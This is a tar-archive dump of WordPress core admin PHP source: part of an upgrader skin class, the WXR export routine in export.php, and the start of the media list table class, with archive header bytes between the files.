		$this->result = $result;
	}

/**
	 * Displays a form to the user to request for their FTP/SSH details in order
	 * to connect to the filesystem.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		$url = $this->options['url'];
		if ( ! $context ) {
			$context = $this->options['context'];
		}
		if ( ! empty( $this->options['nonce'] ) ) {
			$url = wp_nonce_url( $url, $this->options['nonce'] );
		}

$extra_fields = array();

return request_filesystem_credentials( $url, '', $error, $context, $extra_fields, $allow_relaxed_file_ownership );
	}

/**
	 */
	public function header() {
		if ( $this->done_header ) {
			return;
		}
		$this->done_header = true;
		echo '<div class="wrap">';
		echo '<h1>' . $this->options['title'] . '</h1>';
	}

/**
	 */
	public function footer() {
		if ( $this->done_footer ) {
			return;
		}
		$this->done_footer = true;
		echo '</div>';
	}

/**
	 * @param string|WP_Error $errors
	 */
	public function error( $errors ) {
		if ( ! $this->done_header ) {
			$this->header();
		}
		if ( is_string( $errors ) ) {
			$this->feedback( $errors );
		} elseif ( is_wp_error( $errors ) && $errors->has_errors() ) {
			foreach ( $errors->get_error_messages() as $message ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$this->feedback( $message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) );
				} else {
					$this->feedback( $message );
				}
			}
		}
	}

/**
	 * Action to perform before an update.
	 *
	 * @since 2.8.0
	 */
	public function before() {}

/**
	 * Action to perform following an update.
	 *
	 * @since 2.8.0
	 */
	public function after() {}

/**
	 * Output JavaScript that calls function to decrement the update counts.
	 *
	 * @since 3.9.0
	 *
	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
	 *                     'theme', 'translation', etc.
	 */
	protected function decrement_update_count( $type ) {
		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
			return;
		}

if ( defined( 'IFRAME_REQUEST' ) ) {
			echo '<script type="text/javascript">
					if ( window.postMessage && JSON ) {
						window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname );
					}
				</script>';
		} else {
			echo '<script type="text/javascript">
					(function( wp ) {
						if ( wp && wp.updates && wp.updates.decrementCount ) {
							wp.updates.decrementCount( "' . $type . '" );
						}
					})( window.wp );
				</script>';
		}
	}

/**
	 */
	public function bulk_header() {}

/**
	 */
	public function bulk_footer() {}

/**
	 * Hides the `process_failed` error message when updating by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error
	 * @return bool
	 */
	public function hide_process_failed( $wp_error ) {
		return false;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������export.php������������������������������������������������������������������������������������������0000604�����������������00000056061�15075125355�0006612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Export Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Version number for the export format.
 *
 * Bump this when something changes that might affect compatibility.
 *
 * @since 2.5.0
 */
define( 'WXR_VERSION', '1.2' );

/**
 * Generates the WXR export file for download.
 *
 * Default behavior is to export all content, however, note that post content will only
 * be exported for post types with the `can_export` argument enabled. Any posts with the
 * 'auto-draft' status will be skipped.
 *
 * @since 2.1.0
 *
 * @global wpdb    $wpdb WordPress database abstraction object.
 * @global WP_Post $post Global post object.
 *
 * @param array $args {
 *     Optional. Arguments for generating the WXR export file for download. Default empty array.
 *
 *     @type string $content        Type of content to export. If set, only the post content of this post type
 *                                  will be exported. Accepts 'all', 'post', 'page', 'attachment', or a defined
 *                                  custom post. If an invalid custom post type is supplied, every post type for
 *                                  which `can_export` is enabled will be exported instead. If a valid custom post
 *                                  type is supplied but `can_export` is disabled, then 'posts' will be exported
 *                                  instead. When 'all' is supplied, only post types with `can_export` enabled will
 *                                  be exported. Default 'all'.
 *     @type string $author         Author to export content for. Only used when `$content` is 'post', 'page', or
 *                                  'attachment'. Accepts false (all) or a specific author ID. Default false (all).
 *     @type string $category       Category (slug) to export content for. Used only when `$content` is 'post'. If
 *                                  set, only post content assigned to `$category` will be exported. Accepts false
 *                                  or a specific category slug. Default is false (all categories).
 *     @type string $start_date     Start date to export content from. Expected date format is 'Y-m-d'. Used only
 *                                  when `$content` is 'post', 'page' or 'attachment'. Default false (since the
 *                                  beginning of time).
 *     @type string $end_date       End date to export content to. Expected date format is 'Y-m-d'. Used only when
 *                                  `$content` is 'post', 'page' or 'attachment'. Default false (latest publish date).
 *     @type string $status         Post status to export posts for. Used only when `$content` is 'post' or 'page'.
 *                                  Accepts false (all statuses except 'auto-draft'), or a specific status, i.e.
 *                                  'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', or
 *                                  'trash'. Default false (all statuses except 'auto-draft').
 * }
 */
function export_wp( $args = array() ) {
	global $wpdb, $post;

$defaults = array(
		'content'    => 'all',
		'author'     => false,
		'category'   => false,
		'start_date' => false,
		'end_date'   => false,
		'status'     => false,
	);
	$args     = wp_parse_args( $args, $defaults );

/**
	 * Fires at the beginning of an export, before any headers are sent.
	 *
	 * @since 2.3.0
	 *
	 * @param array $args An array of export arguments.
	 */
	do_action( 'export_wp', $args );

$sitename = sanitize_key( get_bloginfo( 'name' ) );
	if ( ! empty( $sitename ) ) {
		$sitename .= '.';
	}
	$date        = gmdate( 'Y-m-d' );
	$wp_filename = $sitename . 'WordPress.' . $date . '.xml';
	/**
	 * Filters the export filename.
	 *
	 * @since 4.4.0
	 *
	 * @param string $wp_filename The name of the file for download.
	 * @param string $sitename    The site name.
	 * @param string $date        Today's date, formatted.
	 */
	$filename = apply_filters( 'export_wp_filename', $wp_filename, $sitename, $date );

header( 'Content-Description: File Transfer' );
	header( 'Content-Disposition: attachment; filename=' . $filename );
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );

if ( 'all' !== $args['content'] && post_type_exists( $args['content'] ) ) {
		$ptype = get_post_type_object( $args['content'] );
		if ( ! $ptype->can_export ) {
			$args['content'] = 'post';
		}

$where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] );
	} else {
		$post_types = get_post_types( array( 'can_export' => true ) );
		$esses      = array_fill( 0, count( $post_types ), '%s' );

// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
		$where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types );
	}

if ( $args['status'] && ( 'post' === $args['content'] || 'page' === $args['content'] ) ) {
		$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] );
	} else {
		$where .= " AND {$wpdb->posts}.post_status != 'auto-draft'";
	}

$join = '';
	if ( $args['category'] && 'post' === $args['content'] ) {
		$term = term_exists( $args['category'], 'category' );
		if ( $term ) {
			$join   = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)";
			$where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] );
		}
	}

if ( in_array( $args['content'], array( 'post', 'page', 'attachment' ), true ) ) {
		if ( $args['author'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] );
		}

if ( $args['start_date'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", gmdate( 'Y-m-d', strtotime( $args['start_date'] ) ) );
		}

if ( $args['end_date'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", gmdate( 'Y-m-d', strtotime( '+1 month', strtotime( $args['end_date'] ) ) ) );
		}
	}

// Grab a snapshot of post IDs, just in case it changes during the export.
	$post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" );

/*
	 * Get the requested terms ready, empty unless posts filtered by category
	 * or all content.
	 */
	$cats  = array();
	$tags  = array();
	$terms = array();
	if ( isset( $term ) && $term ) {
		$cat  = get_term( $term['term_id'], 'category' );
		$cats = array( $cat->term_id => $cat );
		unset( $term, $cat );
	} elseif ( 'all' === $args['content'] ) {
		$categories = (array) get_categories( array( 'get' => 'all' ) );
		$tags       = (array) get_tags( array( 'get' => 'all' ) );

$custom_taxonomies = get_taxonomies( array( '_builtin' => false ) );
		$custom_terms      = (array) get_terms(
			array(
				'taxonomy' => $custom_taxonomies,
				'get'      => 'all',
			)
		);

// Put categories in order with no child going before its parent.
		while ( $cat = array_shift( $categories ) ) {
			if ( 0 == $cat->parent || isset( $cats[ $cat->parent ] ) ) {
				$cats[ $cat->term_id ] = $cat;
			} else {
				$categories[] = $cat;
			}
		}

// Put terms in order with no child going before its parent.
		while ( $t = array_shift( $custom_terms ) ) {
			if ( 0 == $t->parent || isset( $terms[ $t->parent ] ) ) {
				$terms[ $t->term_id ] = $t;
			} else {
				$custom_terms[] = $t;
			}
		}

unset( $categories, $custom_taxonomies, $custom_terms );
	}

/**
	 * Wrap given string in XML CDATA tag.
	 *
	 * @since 2.1.0
	 *
	 * @param string $str String to wrap in XML CDATA tag.
	 * @return string
	 */
	function wxr_cdata( $str ) {
		if ( ! seems_utf8( $str ) ) {
			$str = utf8_encode( $str );
		}
		// $str = ent2ncr(esc_html($str));
		$str = '<![CDATA[' . str_replace( ']]>', ']]]]><![CDATA[>', $str ) . ']]>';

return $str;
	}

/**
	 * Return the URL of the site
	 *
	 * @since 2.5.0
	 *
	 * @return string Site URL.
	 */
	function wxr_site_url() {
		if ( is_multisite() ) {
			// Multisite: the base URL.
			return network_home_url();
		} else {
			// WordPress (single site): the blog URL.
			return get_bloginfo_rss( 'url' );
		}
	}

/**
	 * Output a cat_name XML tag from a given category object
	 *
	 * @since 2.1.0
	 *
	 * @param object $category Category Object
	 */
	function wxr_cat_name( $category ) {
		if ( empty( $category->name ) ) {
			return;
		}

echo '<wp:cat_name>' . wxr_cdata( $category->name ) . "</wp:cat_name>\n";
	}

/**
	 * Output a category_description XML tag from a given category object
	 *
	 * @since 2.1.0
	 *
	 * @param object $category Category Object
	 */
	function wxr_category_description( $category ) {
		if ( empty( $category->description ) ) {
			return;
		}

echo '<wp:category_description>' . wxr_cdata( $category->description ) . "</wp:category_description>\n";
	}

/**
	 * Output a tag_name XML tag from a given tag object
	 *
	 * @since 2.3.0
	 *
	 * @param object $tag Tag Object
	 */
	function wxr_tag_name( $tag ) {
		if ( empty( $tag->name ) ) {
			return;
		}

echo '<wp:tag_name>' . wxr_cdata( $tag->name ) . "</wp:tag_name>\n";
	}

/**
	 * Output a tag_description XML tag from a given tag object
	 *
	 * @since 2.3.0
	 *
	 * @param object $tag Tag Object
	 */
	function wxr_tag_description( $tag ) {
		if ( empty( $tag->description ) ) {
			return;
		}

echo '<wp:tag_description>' . wxr_cdata( $tag->description ) . "</wp:tag_description>\n";
	}

/**
	 * Output a term_name XML tag from a given term object
	 *
	 * @since 2.9.0
	 *
	 * @param object $term Term Object
	 */
	function wxr_term_name( $term ) {
		if ( empty( $term->name ) ) {
			return;
		}

echo '<wp:term_name>' . wxr_cdata( $term->name ) . "</wp:term_name>\n";
	}

/**
	 * Output a term_description XML tag from a given term object
	 *
	 * @since 2.9.0
	 *
	 * @param object $term Term Object
	 */
	function wxr_term_description( $term ) {
		if ( empty( $term->description ) ) {
			return;
		}

echo "\t\t<wp:term_description>" . wxr_cdata( $term->description ) . "</wp:term_description>\n";
	}

/**
	 * Output term meta XML tags for a given term object.
	 *
	 * @since 4.6.0
	 *
	 * @param WP_Term $term Term object.
	 */
	function wxr_term_meta( $term ) {
		global $wpdb;

$termmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->termmeta WHERE term_id = %d", $term->term_id ) );

foreach ( $termmeta as $meta ) {
			/**
			 * Filters whether to selectively skip term meta used for WXR exports.
			 *
			 * Returning a truthy value from the filter will skip the current meta
			 * object from being exported.
			 *
			 * @since 4.6.0
			 *
			 * @param bool   $skip     Whether to skip the current piece of term meta. Default false.
			 * @param string $meta_key Current meta key.
			 * @param object $meta     Current meta object.
			 */
			if ( ! apply_filters( 'wxr_export_skip_termmeta', false, $meta->meta_key, $meta ) ) {
				printf( "\t\t<wp:termmeta>\n\t\t\t<wp:meta_key>%s</wp:meta_key>\n\t\t\t<wp:meta_value>%s</wp:meta_value>\n\t\t</wp:termmeta>\n", wxr_cdata( $meta->meta_key ), wxr_cdata( $meta->meta_value ) );
			}
		}
	}

/**
	 * Output list of authors with posts
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int[] $post_ids Optional. Array of post IDs to filter the query by.
	 */
	function wxr_authors_list( array $post_ids = null ) {
		global $wpdb;

if ( ! empty( $post_ids ) ) {
			$post_ids = array_map( 'absint', $post_ids );
			$and      = 'AND ID IN ( ' . implode( ', ', $post_ids ) . ')';
		} else {
			$and = '';
		}

$authors = array();
		$results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft' $and" );
		foreach ( (array) $results as $result ) {
			$authors[] = get_userdata( $result->post_author );
		}

$authors = array_filter( $authors );

foreach ( $authors as $author ) {
			echo "\t<wp:author>";
			echo '<wp:author_id>' . intval( $author->ID ) . '</wp:author_id>';
			echo '<wp:author_login>' . wxr_cdata( $author->user_login ) . '</wp:author_login>';
			echo '<wp:author_email>' . wxr_cdata( $author->user_email ) . '</wp:author_email>';
			echo '<wp:author_display_name>' . wxr_cdata( $author->display_name ) . '</wp:author_display_name>';
			echo '<wp:author_first_name>' . wxr_cdata( $author->first_name ) . '</wp:author_first_name>';
			echo '<wp:author_last_name>' . wxr_cdata( $author->last_name ) . '</wp:author_last_name>';
			echo "</wp:author>\n";
		}
	}

/**
	 * Output all navigation menu terms
	 *
	 * @since 3.1.0
	 */
	function wxr_nav_menu_terms() {
		$nav_menus = wp_get_nav_menus();
		if ( empty( $nav_menus ) || ! is_array( $nav_menus ) ) {
			return;
		}

foreach ( $nav_menus as $menu ) {
			echo "\t<wp:term>";
			echo '<wp:term_id>' . intval( $menu->term_id ) . '</wp:term_id>';
			echo '<wp:term_taxonomy>nav_menu</wp:term_taxonomy>';
			echo '<wp:term_slug>' . wxr_cdata( $menu->slug ) . '</wp:term_slug>';
			wxr_term_name( $menu );
			echo "</wp:term>\n";
		}
	}

/**
	 * Output list of taxonomy terms, in XML tag format, associated with a post
	 *
	 * @since 2.3.0
	 */
	function wxr_post_taxonomy() {
		$post = get_post();

$taxonomies = get_object_taxonomies( $post->post_type );
		if ( empty( $taxonomies ) ) {
			return;
		}
		$terms = wp_get_object_terms( $post->ID, $taxonomies );

foreach ( (array) $terms as $term ) {
			echo "\t\t<category domain=\"{$term->taxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "</category>\n";
		}
	}

/**
	 * @param bool   $return_me
	 * @param string $meta_key
	 * @return bool
	 */
	function wxr_filter_postmeta( $return_me, $meta_key ) {
		if ( '_edit_lock' === $meta_key ) {
			$return_me = true;
		}
		return $return_me;
	}
	add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 );

echo '<?xml version="1.0" encoding="' . get_bloginfo( 'charset' ) . "\" ?>\n";

?>

<?php the_generator( 'export' ); ?>
<rss version="2.0"
	xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/"
>

<?php wxr_authors_list( $post_ids ); ?>

<?php foreach ( $cats as $c ) : ?>
	<wp:category>
		<wp:term_id><?php echo intval( $c->term_id ); ?></wp:term_id>
		<wp:category_nicename><?php echo wxr_cdata( $c->slug ); ?></wp:category_nicename>
		<wp:category_parent><?php echo wxr_cdata( $c->parent ? $cats[ $c->parent ]->slug : '' ); ?></wp:category_parent>
		<?php
		wxr_cat_name( $c );
		wxr_category_description( $c );
		wxr_term_meta( $c );
		?>
	</wp:category>
	<?php endforeach; ?>
	<?php foreach ( $tags as $t ) : ?>
	<wp:tag>
		<wp:term_id><?php echo intval( $t->term_id ); ?></wp:term_id>
		<wp:tag_slug><?php echo wxr_cdata( $t->slug ); ?></wp:tag_slug>
		<?php
		wxr_tag_name( $t );
		wxr_tag_description( $t );
		wxr_term_meta( $t );
		?>
	</wp:tag>
	<?php endforeach; ?>
	<?php foreach ( $terms as $t ) : ?>
	<wp:term>
		<wp:term_id><?php echo intval( $t->term_id ); ?></wp:term_id>
		<wp:term_taxonomy><?php echo wxr_cdata( $t->taxonomy ); ?></wp:term_taxonomy>
		<wp:term_slug><?php echo wxr_cdata( $t->slug ); ?></wp:term_slug>
		<wp:term_parent><?php echo wxr_cdata( $t->parent ? $terms[ $t->parent ]->slug : '' ); ?></wp:term_parent>
		<?php
		wxr_term_name( $t );
		wxr_term_description( $t );
		wxr_term_meta( $t );
		?>
	</wp:term>
	<?php endforeach; ?>
	<?php
	if ( 'all' === $args['content'] ) {
		wxr_nav_menu_terms();}
	?>

<?php
	/** This action is documented in wp-includes/feed-rss2.php */
	do_action( 'rss2_head' );
	?>

<?php
	if ( $post_ids ) {
		/**
		 * @global WP_Query $wp_query WordPress Query object.
		 */
		global $wp_query;

// Fake being in the loop.
		$wp_query->in_the_loop = true;

// Fetch 20 posts at a time rather than loading the entire table into memory.
		while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) {
			$where = 'WHERE ID IN (' . join( ',', $next_posts ) . ')';
			$posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" );

// Begin Loop.
			foreach ( $posts as $post ) {
				setup_postdata( $post );

/** This filter is documented in wp-includes/feed.php */
				$title = apply_filters( 'the_title_rss', $post->post_title );

/**
				 * Filters the post content used for WXR exports.
				 *
				 * @since 2.5.0
				 *
				 * @param string $post_content Content of the current post.
				 */
				$content = wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) );

/**
				 * Filters the post excerpt used for WXR exports.
				 *
				 * @since 2.6.0
				 *
				 * @param string $post_excerpt Excerpt for the current post.
				 */
				$excerpt = wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) );

$is_sticky = is_sticky( $post->ID ) ? 1 : 0;
				?>
	<item>
		<title><?php echo $title; ?></title>
		<link><?php the_permalink_rss(); ?></link>
		<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
		<dc:creator><?php echo wxr_cdata( get_the_author_meta( 'login' ) ); ?></dc:creator>
		<guid isPermaLink="false"><?php the_guid(); ?></guid>
		<description></description>
		<content:encoded><?php echo $content; ?></content:encoded>
		<excerpt:encoded><?php echo $excerpt; ?></excerpt:encoded>
		<wp:post_id><?php echo intval( $post->ID ); ?></wp:post_id>
		<wp:post_date><?php echo wxr_cdata( $post->post_date ); ?></wp:post_date>
		<wp:post_date_gmt><?php echo wxr_cdata( $post->post_date_gmt ); ?></wp:post_date_gmt>
		<wp:comment_status><?php echo wxr_cdata( $post->comment_status ); ?></wp:comment_status>
		<wp:ping_status><?php echo wxr_cdata( $post->ping_status ); ?></wp:ping_status>
		<wp:post_name><?php echo wxr_cdata( $post->post_name ); ?></wp:post_name>
		<wp:status><?php echo wxr_cdata( $post->post_status ); ?></wp:status>
		<wp:post_parent><?php echo intval( $post->post_parent ); ?></wp:post_parent>
		<wp:menu_order><?php echo intval( $post->menu_order ); ?></wp:menu_order>
		<wp:post_type><?php echo wxr_cdata( $post->post_type ); ?></wp:post_type>
		<wp:post_password><?php echo wxr_cdata( $post->post_password ); ?></wp:post_password>
		<wp:is_sticky><?php echo intval( $is_sticky ); ?></wp:is_sticky>
				<?php	if ( 'attachment' === $post->post_type ) : ?>
		<wp:attachment_url><?php echo wxr_cdata( wp_get_attachment_url( $post->ID ) ); ?></wp:attachment_url>
	<?php endif; ?>
				<?php wxr_post_taxonomy(); ?>
				<?php
				$postmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) );
				foreach ( $postmeta as $meta ) :
					/**
					 * Filters whether to selectively skip post meta used for WXR exports.
					 *
					 * Returning a truthy value from the filter will skip the current meta
					 * object from being exported.
					 *
					 * @since 3.3.0
					 *
					 * @param bool   $skip     Whether to skip the current post meta. Default false.
					 * @param string $meta_key Current meta key.
					 * @param object $meta     Current meta object.
					 */
					if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) ) {
						continue;
					}
					?>
		<wp:postmeta>
		<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
		<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
		</wp:postmeta>
					<?php
	endforeach;

$_comments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) );
				$comments  = array_map( 'get_comment', $_comments );
				foreach ( $comments as $c ) :
					?>
		<wp:comment>
			<wp:comment_id><?php echo intval( $c->comment_ID ); ?></wp:comment_id>
			<wp:comment_author><?php echo wxr_cdata( $c->comment_author ); ?></wp:comment_author>
			<wp:comment_author_email><?php echo wxr_cdata( $c->comment_author_email ); ?></wp:comment_author_email>
			<wp:comment_author_url><?php echo esc_url_raw( $c->comment_author_url ); ?></wp:comment_author_url>
			<wp:comment_author_IP><?php echo wxr_cdata( $c->comment_author_IP ); ?></wp:comment_author_IP>
			<wp:comment_date><?php echo wxr_cdata( $c->comment_date ); ?></wp:comment_date>
			<wp:comment_date_gmt><?php echo wxr_cdata( $c->comment_date_gmt ); ?></wp:comment_date_gmt>
			<wp:comment_content><?php echo wxr_cdata( $c->comment_content ); ?></wp:comment_content>
			<wp:comment_approved><?php echo wxr_cdata( $c->comment_approved ); ?></wp:comment_approved>
			<wp:comment_type><?php echo wxr_cdata( $c->comment_type ); ?></wp:comment_type>
			<wp:comment_parent><?php echo intval( $c->comment_parent ); ?></wp:comment_parent>
			<wp:comment_user_id><?php echo intval( $c->user_id ); ?></wp:comment_user_id>
					<?php
					$c_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) );
					foreach ( $c_meta as $meta ) :
						/**
						 * Filters whether to selectively skip comment meta used for WXR exports.
						 *
						 * Returning a truthy value from the filter will skip the current meta
						 * object from being exported.
						 *
						 * @since 4.0.0
						 *
						 * @param bool   $skip     Whether to skip the current comment meta. Default false.
						 * @param string $meta_key Current meta key.
						 * @param object $meta     Current meta object.
						 */
						if ( apply_filters( 'wxr_export_skip_commentmeta', false, $meta->meta_key, $meta ) ) {
							continue;
						}
						?>
	<wp:commentmeta>
	<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
			<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
			</wp:commentmeta>
					<?php	endforeach; ?>
		</wp:comment>
			<?php	endforeach; ?>
		</item>
				<?php
			}
		}
	}
	?>
</channel>
</rss>
	<?php
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-media-list-table.php�����������������������������������������������������������������������0000604�����������������00000056305�15075125355�0012136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Media_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying media items in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Media_List_Table extends WP_List_Table {
	/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $comment_pending_count = array();

private $detached;

private $is_trash;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		$this->detached = ( isset( $_REQUEST['attachment-filter'] ) && 'detached' === $_REQUEST['attachment-filter'] );

$this->modes = array(
			'list' => __( 'List view' ),
			'grid' => __( 'Grid view' ),
		);

parent::__construct(
			array(
				'plural' => 'media',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'upload_files' );
	}

/**
	 * @global string   $mode                  List table view mode.
	 * @global WP_Query $wp_query              WordPress Query object.
	 * @global array    $post_mime_types
	 * @global array    $avail_post_mime_types
	 */
	public function prepare_items() {
		global $mode, $wp_query, $post_mime_types, $avail_post_mime_types;

$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];

// Exclude attachments scheduled for deletion in the next two hours
		// if they are for zip packages for interrupted or failed updates.
		// See File_Upload_Upgrader class.
		$not_in = array();

foreach ( _get_cron_array() as $cron ) {
			if ( isset( $cron['upgrader_scheduled_cleanup'] ) ) {
				$details = reset( $cron['upgrader_scheduled_cleanup'] );

if ( ! empty( $details['args'][0] ) ) {
					$not_in[] = (int) $details['args'][0];
				}
			}
		}

if ( ! empty( $_REQUEST['post__not_in'] ) && is_array( $_REQUEST['post__not_in'] ) ) {
			$not_in = array_merge( array_values( $_REQUEST['post__not_in'] ), $not_in );
		}

if ( ! empty( $not_in ) ) {
			$_REQUEST['post__not_in'] = $not_in;
		}

list( $post_mime_types, $avail_post_mime_types ) = wp_edit_attachments_query( $_REQUEST );

$this->is_trash = isset( $_REQUEST['attachment-filter'] ) && 'trash' === $_REQUEST['attachment-filter'];

$this->set_pagination_args(
			array(
				'total_items' => $wp_query->found_posts,
				'total_pages' => $wp_query->max_num_pages,
				'per_page'    => $wp_query->query_vars['posts_per_page'],
			)
		);
	}

/**
	 * @global array $post_mime_types
	 * @global array $avail_post_mime_types
	 * @return array
	 */
	protected function get_views() {
		global $post_mime_types, $avail_post_mime_types;

$type_links = array();

$filter = empty( $_GET['attachment-filter'] ) ? '' : $_GET['attachment-filter'];

$type_links['all'] = sprintf(
			'<option value=""%s>%s</option>',
			selected( $filter, true, false ),
			__( 'All media items' )
		);

foreach ( $post_mime_types as $mime_type => $label ) {
			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

$selected = selected(
				$filter && 0 === strpos( $filter, 'post_mime_type:' ) &&
					wp_match_mime_types( $mime_type, str_replace( 'post_mime_type:', '', $filter ) ),
				true,
				false
			);

$type_links[ $mime_type ] = sprintf(
				'<option value="post_mime_type:%s"%s>%s</option>',
				esc_attr( $mime_type ),
				$selected,
				$label[0]
			);
		}

$type_links['detached'] = '<option value="detached"' . ( $this->detached ? ' selected="selected"' : '' ) . '>' . __( 'Unattached' ) . '</option>';

$type_links['mine'] = sprintf(
			'<option value="mine"%s>%s</option>',
			selected( 'mine' === $filter, true, false ),
			_x( 'Mine', 'media items' )
		);

if ( $this->is_trash || ( defined( 'MEDIA_TRASH' ) && MEDIA_TRASH ) ) {
			$type_links['trash'] = sprintf(
				'<option value="trash"%s>%s</option>',
				selected( 'trash' === $filter, true, false ),
				_x( 'Trash', 'attachment filter' )
			);
		}

return $type_links;
	}

/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( MEDIA_TRASH ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
				$actions['delete']  = __( 'Delete permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		} else {
			$actions['delete'] = __( 'Delete permanently' );
		}

if ( $this->detached ) {
			$actions['attach'] = __( 'Attach' );
		}

return $actions;
	}

/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		if ( 'bar' !== $which ) {
			return;
		}
		?>
		<div class="actions">
		<?php
		if ( ! $this->is_trash ) {
			$this->months_dropdown( 'attachment' );
		}

/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
		do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );

if ( $this->is_trash && current_user_can( 'edit_others_posts' ) && $this->has_items() ) {
			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
		}
		?>
		</div>
		<?php
	}

/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['found_post_id'] ) && isset( $_REQUEST['media'] ) ) {
			return 'attach';
		}

if ( isset( $_REQUEST['parent_post_id'] ) && isset( $_REQUEST['media'] ) ) {
			return 'detach';
		}

if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

return parent::current_action();
	}

/**
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

/**
	 */
	public function no_items() {
		if ( $this->is_trash ) {
			_e( 'No media files found in Trash.' );
		} else {
			_e( 'No media files found.' );
